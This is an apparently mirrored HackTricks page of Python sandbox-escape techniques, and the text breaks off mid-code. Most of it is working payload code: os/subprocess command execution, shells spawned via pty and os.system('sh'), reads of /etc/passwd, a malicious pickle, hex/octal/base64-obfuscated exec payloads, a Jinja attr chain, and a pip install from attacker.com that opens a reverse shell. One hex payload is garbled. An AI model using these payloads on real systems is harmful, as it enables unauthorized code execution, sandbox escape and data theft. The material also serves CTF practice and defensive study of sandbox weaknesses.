mirror of
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1088 lines
60 KiB
Markdown
1088 lines
60 KiB
Markdown
# Bypass Python sandboxes
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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These are some tricks to bypass python sandbox protections and execute arbitrary commands.
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## Command Execution Libraries
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The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
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```python
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os.system("ls")
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os.popen("ls").read()
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commands.getstatusoutput("ls")
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commands.getoutput("ls")
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commands.getstatus("file/path")
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subprocess.call("ls", shell=True)
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subprocess.Popen("ls", shell=True)
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pty.spawn("ls")
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pty.spawn("/bin/bash")
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platform.os.system("ls")
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pdb.os.system("ls")
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#Import functions to execute commands
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importlib.import_module("os").system("ls")
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importlib.__import__("os").system("ls")
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imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
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imp.os.system("ls")
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imp.sys.modules["os"].system("ls")
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sys.modules["os"].system("ls")
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__import__("os").system("ls")
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import os
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from os import *
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#Other interesting functions
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open("/etc/passwd").read()
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open('/var/www/html/input', 'w').write('123')
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#In Python2.7
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execfile('/usr/lib/python2.7/os.py')
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system('ls')
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```
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Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
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{% hint style="danger" %}
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**Python2 input()** function allows to execute python code before the program crashes.
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{% endhint %}
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Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`
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.png>)
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## Bypass pickle sandbox with default installed python packages
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### Default packages
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You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
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Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
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For example the following pickle, when loaded, is going to import the pip library to use it:
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```python
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#Note that here we are importing the pip library so the pickle is created correctly
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#however, the victimdoesn't even need to have the library installed to execute it
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#the library is going to be loaded automatically
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import pickle, os, base64, pip
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class P(object):
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def __reduce__(self):
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return (pip.main,(["list"],))
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print(base64.b64encode(pickle.dumps(P(), protocol=0)))
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```
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For more information about how does pickle works check this: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
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### Pip package
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Trick shared by **@isHaacK**
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If you have access to `pip` or to `pip.main()` you can install an arbitrary package and obtain a reverse shell calling:
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```bash
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pip install http://attacker.com/Rerverse.tar.gz
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pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
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```
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You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
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{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
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{% hint style="info" %}
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This package is called `Reverse`.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
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{% endhint %}
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## Eval-ing python code
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{% hint style="warning" %}
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Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
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{% endhint %}
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This is really interesting if some characters are forbidden because you can use the **hex/octal/B64** representation to **bypass** the restriction:
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```python
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exec("print('RCE'); __import__('os').system('ls')") #Using ";"
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exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
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eval("__import__('os').system('ls')") #Eval doesn't allow ";"
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eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
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__import__('timeit').timeit("__import__('os').system('ls')",number=1)
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#One liners that allow new lines and tabs
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eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
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exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
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```
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```python
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#Octal
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exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
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#Hex
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exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
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#Base64
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exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
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exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
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```
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## Operators and short tricks
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```python
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# walrus operator allows to generate variable inside a list
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## everything will be executed in order
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## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
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[a:=21,a*2]
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[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
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## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
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```
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## Python execution without calls
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If you are inside a python jail that **doesn't allow to make calls**, there are still some ways to **execute arbitrary functions, code** and **commands**.
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### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
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@exec
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@input
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class X:
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pass
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# The previous code is equivalent to:
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class X:
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pass
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X = input(X)
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X = exec(X)
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# So just send your python code when promped and it will be executed
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# Another approach without calling input:
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@eval
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@'__import__("os").system("sh")'.format
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class _:pass
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```
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### RCE creating objects and overloading
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If you can **declare a class** and **create and object** of that class you could **write/overwrite different methods** that can be **triggered** **without** **needing to call them directly**.
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#### RCE with custom classes
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You can modify some **class methods** (_by overwriting existing class methods or creating a new class_) to make them **execute arbitrary code** when **triggered** without calling them directly.
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```python
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# This class has 3 different was to trigger RCE without directly calling any function
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class RCE:
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def __init__(self):
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self += "print('Hello from __init__ + __iadd__')"
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__iadd__ = exec #Triggered when object is created
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def __del__(self):
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self -= "print('Hello from __del__ + __isub__')"
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__isub__ = exec #Triggered when object is created
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__getitem__ = exec #Trigerred with obj[<argument>]
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__add__ = exec #Triggered with obj + <argument>
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# These lines abuse directly the previous class to get RCE
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rce = RCE() #Later we will see how to create objects without calling the constructor
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rce["print('Hello from __getitem__')"]
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rce + "print('Hello from __add__')"
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del rce
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# These lines will get RCE when the program is over (exit)
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sys.modules["pwnd"] = RCE()
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exit()
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# Other functions to overwrite
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__sub__ (k - 'import os; os.system("sh")')
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__mul__ (k * 'import os; os.system("sh")')
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__floordiv__ (k // 'import os; os.system("sh")')
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__truediv__ (k / 'import os; os.system("sh")')
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__mod__ (k % 'import os; os.system("sh")')
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__pow__ (k**'import os; os.system("sh")')
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__lt__ (k < 'import os; os.system("sh")')
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__le__ (k <= 'import os; os.system("sh")')
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__eq__ (k == 'import os; os.system("sh")')
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__ne__ (k != 'import os; os.system("sh")')
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__ge__ (k >= 'import os; os.system("sh")')
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__gt__ (k > 'import os; os.system("sh")')
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__iadd__ (k += 'import os; os.system("sh")')
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__isub__ (k -= 'import os; os.system("sh")')
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__imul__ (k *= 'import os; os.system("sh")')
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__ifloordiv__ (k //= 'import os; os.system("sh")')
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__idiv__ (k /= 'import os; os.system("sh")')
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__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
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__imod__ (k %= 'import os; os.system("sh")')
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__ipow__ (k **= 'import os; os.system("sh")')
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__ilshift__ (k<<= 'import os; os.system("sh")')
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__irshift__ (k >>= 'import os; os.system("sh")')
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__iand__ (k = 'import os; os.system("sh")')
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__ior__ (k |= 'import os; os.system("sh")')
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__ixor__ (k ^= 'import os; os.system("sh")')
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```
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#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
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The key thing that metaclasses allow us to do is **make an instance of a class, without calling the constructor** directly, by creating a new class with the target class as metaclass.
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```python
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# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
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# This will define the members on the "sub"class
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class Metaclass(type):
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__getitem__ = exec # So Sub[string] will execute exec(string)
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# Note: Metaclass.__class__ == type
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class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
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pass # Nothing special to do
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Sub['import os; os.system("sh")']
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## You can also use the tricks from the previous section to get RCE with this object
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```
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#### Creating objects with exceptions
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When an **exception is triggered** an object of the **Exception** is **created** without you needing to call the constructor directly (trick from [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
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```python
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class RCE(Exception):
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def __init__(self):
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self += 'import os; os.system("sh")'
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__iadd__ = exec #Triggered when object is created
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raise RCE #Generate RCE object
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# RCE with __add__ overloading and try/except + raise generacted object
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class Klecko(Exception):
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__add__ = exec
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try:
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raise Klecko
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except Klecko as k:
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k + 'import os; os.system("sh")' #RCE abusing __add__
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## You can also use the tricks from the previous section to get RCE with this object
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```
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### More RCE
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
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# If sys is imported, you can sys.excepthook and trigger it by triggering an error
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class X:
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def __init__(self, a, b, c):
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self += "os.system('sh')"
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__iadd__ = exec
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sys.excepthook = X
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1/0 #Trigger it
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# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
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# The interpreter will try to import an apt-specific module to potentially
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# report an error in ubuntu-provided modules.
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# Therefore the __import__ functions is overwritten with our RCE
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class X():
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def __init__(self, a, b, c, d, e):
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self += "print(open('flag').read())"
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__iadd__ = eval
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__builtins__.__import__ = X
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{}[1337]
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```
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### Read file with builtins help & license
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```python
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__builtins__.__dict__["license"]._Printer__filenames=["flag"]
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a = __builtins__.help
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a.__class__.__enter__ = __builtins__.__dict__["license"]
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a.__class__.__exit__ = lambda self, *args: None
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with (a as b):
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pass
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```
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## Builtins
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* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
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* [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
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If you can access to the **`__builtins__`** object you can import libraries (notice that you could also use here other string representation showed in last section):
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```python
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__builtins__.__import__("os").system("ls")
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__builtins__.__dict__['__import__']("os").system("ls")
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```
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### No Builtins
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When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\
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However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**.
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In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them.
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**Python2**
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```python
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#Try to reload __builtins__
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reload(__builtins__)
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import __builtin__
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# Read recovering <type 'file'> in offset 40
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().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
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# Write recovering <type 'file'> in offset 40
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().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
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# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
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().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
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# Execute (another method)
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().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
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# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
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().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
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# Or you could obtain the builtins from a defined function
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get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
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```
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#### Python3
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```python
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# Obtain builtins from a globally defined function
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# https://docs.python.org/3/library/functions.html
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print.__self__
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dir.__self__
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globals.__self__
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len.__self__
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# Obtain the builtins from a defined function
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get_flag.__globals__['__builtins__']
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# Get builtins from loaded clases
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[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
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```
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[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**.
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#### Python2 and Python3
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```python
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# Recover __builtins__ and make eveything easier
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__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
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__builtins__["__import__"]('os').system('ls')
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```
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### Builtins payloads
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```python
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# Possible payloads once you have found the builtins
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.open("/etc/passwd").read()
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.__import__("os").system("ls")
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# There are a lot other payloads that can be abused to execute commands
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# See them below
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```
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## Globals and locals
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Checking the **`globals`** and **`locals`** is a good way to know what you can access.
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```python
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>>> globals()
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{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
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>>> locals()
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{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
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# Obtain globals from a defined function
|
|
get_flag.__globals__
|
|
|
|
# Obtain globals from an object of a class
|
|
class_obj.__init__.__globals__
|
|
|
|
# Obtaining globals directly from loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
|
[<class 'function'>]
|
|
|
|
# Obtaining globals from __init__ of loaded classes
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
# Without the use of the dir() function
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
|
```
|
|
|
|
[**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
|
|
|
## Discover Arbitrary Execution
|
|
|
|
Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits.
|
|
|
|
#### Accessing subclasses with bypasses
|
|
|
|
One of the most sensitive parts of this technique is to be able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**:
|
|
|
|
```python
|
|
#You can access the base from mostly anywhere (in regular conditions)
|
|
"".__class__.__base__.__subclasses__()
|
|
[].__class__.__base__.__subclasses__()
|
|
{}.__class__.__base__.__subclasses__()
|
|
().__class__.__base__.__subclasses__()
|
|
(1).__class__.__base__.__subclasses__()
|
|
bool.__class__.__base__.__subclasses__()
|
|
print.__class__.__base__.__subclasses__()
|
|
open.__class__.__base__.__subclasses__()
|
|
defined_func.__class__.__base__.__subclasses__()
|
|
|
|
#You can also access it without "__base__" or "__class__"
|
|
# You can apply the previous technique also here
|
|
"".__class__.__bases__[0].__subclasses__()
|
|
"".__class__.__mro__[1].__subclasses__()
|
|
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
|
"".__getattribute__("__class__").__base__.__subclasses__()
|
|
|
|
#If attr is present you can access everything as string
|
|
# This is common in Djanjo (and Jinja) environments
|
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
|
```
|
|
|
|
### Finding dangerous libraries loaded
|
|
|
|
For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**:
|
|
|
|
```python
|
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
|
```
|
|
|
|
There are a lot, and **we just need one** to execute commands:
|
|
|
|
```python
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
```
|
|
|
|
We can do the same thing with **other libraries** that we know can be used to **execute commands**:
|
|
|
|
```python
|
|
#os
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
|
|
|
#subprocess
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
|
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
|
|
|
#builtins
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
|
|
|
#sys
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
|
|
|
#commands (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
|
|
|
#pty (not very common)
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
|
|
|
#importlib
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
|
|
|
#pdb
|
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
|
```
|
|
|
|
Moreover, we could even search which modules are loading malicious libraries:
|
|
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
for b in bad_libraries_names:
|
|
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
|
print(f"{b}: {', '.join(vuln_libs)}")
|
|
|
|
"""
|
|
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
|
commands:
|
|
subprocess: BaseDependency, Origin, Version, Package
|
|
pty:
|
|
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
|
|
imp:
|
|
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
|
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
|
|
pdb:
|
|
"""
|
|
```
|
|
|
|
Moreover, if you think **other libraries** may be able to **invoke functions to execute commands**, we can also **filter by functions names** inside the possible libraries:
|
|
|
|
```python
|
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
|
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
